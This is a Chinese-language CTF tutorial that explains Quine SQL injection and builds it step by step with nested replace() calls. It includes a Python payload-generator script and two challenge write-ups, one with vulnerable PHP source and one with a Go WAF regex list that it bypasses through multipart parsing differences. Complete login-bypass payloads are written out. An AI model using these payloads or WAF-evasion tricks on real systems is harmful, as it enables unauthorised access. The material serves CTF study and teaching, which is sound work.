quine注入学习
Quine注入简介Quine 注入 是一种特殊的 SQL 注入 技术,其核心思想是利用 自生成代码(Quine) 的特性,构造一个 Payload,使得注入的 SQL 代码在执行时能够 自我复制 或 自我生成,也就是输入输出一致,从而绕过限制登录构造在介绍原理之前先说下要用到的函数 replace() ,语法如下str:原始字符串,需要进行替换的字符串。from_str:需要被替换的子字符串。to
Quine注入
简介
Quine 注入 是一种特殊的 SQL 注入 技术,其核心思想是利用 自生成代码(Quine) 的特性,构造一个 Payload,使得注入的 SQL 代码在执行时能够 自我复制 或 自我生成,也就是输入输出一致,从而绕过限制登录
构造
在介绍原理之前先说下要用到的函数 replace() ,语法如下
REPLACE(str, from_str, to_str)
str:原始字符串,需要进行替换的字符串。from_str:需要被替换的子字符串。to_str:替换后的新子字符串。
replace(a,b,c) 简单来说也就是把 a 中的 b 换成 c,如果 from_str 不存在于 str 中,则返回原始字符串
举两个简单的例子
然后就是构造 quine 语句了,先看个简单的语句
select replace(".",char(46),".");char(46) 就是 .,所以这个语句会返回 .
然后接着继续替换
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');这个语句就是将 replace(".",char(46),".") 中的 . 替换成 replace(".",char(46),".") ,看下结果就知道为啥这样做了
我们可以看到输入和输出已经快要趋于一样了,但是有单双引号的区别,但是这里的双引号是不可避免的,因为想要将 . 当成字符串输入就必须要用双引号,不然会报错。转义是不行的,因为会多 \ 符号
经过上面的分析,我们现在只需要解决单双引号的问题即可达到输入输出一致
char(34) 为 " ,char(39) 为 ',继续构造
0x01
如果将最内层的 replace 函数的点全部替换为单引号包裹 , 那么最终查询结果也是单引号包裹的
replace(replace('"."',char(34),char(39)),char(46),".");这里内层的 replace 没有用单引号包裹,说明是先执行内层的 replace ,再执行的外层的 replace,最终返回 '.',至此已经解决的引号不同的问题
0x02
最终payload
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');可以看到输入输出已经完全一样了
总结
因此我们可以得到quine注入的基本形式
select replace(replace('str',char(34),char(39)),char(46),'str');str 的基本形式
select replace(replace(".",char(34),char(39)),char(46),".");一个好用的脚本
sql = input ("输入你的sql语句,不用写关键查询的信息 形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
if ("--+" in string):
tem = string.split("--+")[0] + base + "--+"
if ("#" in string):
tem = string.split("#")[0] + base + "#"
return tem
def patch(string,sql):
if ("--+" in string):
return sql.split("--+")[0] + string + "--+"
if ("#" in string):
return sql.split("#")[0] + string + "#"
res = patch(base.replace(".",add(sql2)),sql).replace(" ","/**/").replace("'.'",'"."')
print(res)例题
[第五空间 2021]yet_another_mysql_injection
?source 拿到源码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>判断 username 是否为 admin,过滤了很多盲注的函数,还过滤了空格,不打盲注,但貌似也有人用盲注打出来了,对传入的 password 进行强比较,直接用 quine 注入,用上面的脚本构造出payload
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#[TPCTF2025]supersqli
在 views.py 文件中的 flag 函数中我们可以发现存在 sql 注入
但是 main.go 中的 waf 很难绕过
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)
var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)注意到在 go 中加了个判断,判断 mediaType 是否为 multipart/form-data
后续跟进会发现 go 和 django 中对于 multipart 请求的处理方式不同,一个用 boundary 来分割而一个用 Content-Disposition 来分割,因此可以利用这个解析差异来绕过 waf 的检测
当请求体为
Content-Type: multipart/form-data; boundary=----test
Content-Length: 139
------test
Content-Disposition: form-data; name="username"
admin
------test--
Content-Disposition: form-data; name="password";
222go 返回
username = adminDjango 返回
username = admin
password = 222最后就是打 quine 注入,稍微改下上面的脚本,没过滤空格,不用 repalce 为 /**/
sql = input ("输入你的sql语句,不用写关键查询的信息 形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
if ("-- " in string):
tem = string.split("--+")[0] + base + "-- "
if ("#" in string):
tem = string.split("#")[0] + base + "#"
return tem
def patch(string,sql):
if ("-- " in string):
return sql.split("--+")[0] + string + "-- "
if ("#" in string):
return sql.split("#")[0] + string + "#"
res = patch(base.replace(".",add(sql2)),sql).replace("'.'",'"."')
print(res)最后经尝试发现是两列,因此传入 1' union select 1,2,--+ ,得到 payload
1' union select 1,2,replace(replace('1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--+',char(34),char(39)),char(46),'1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--+')--+参考:
好文学习了👍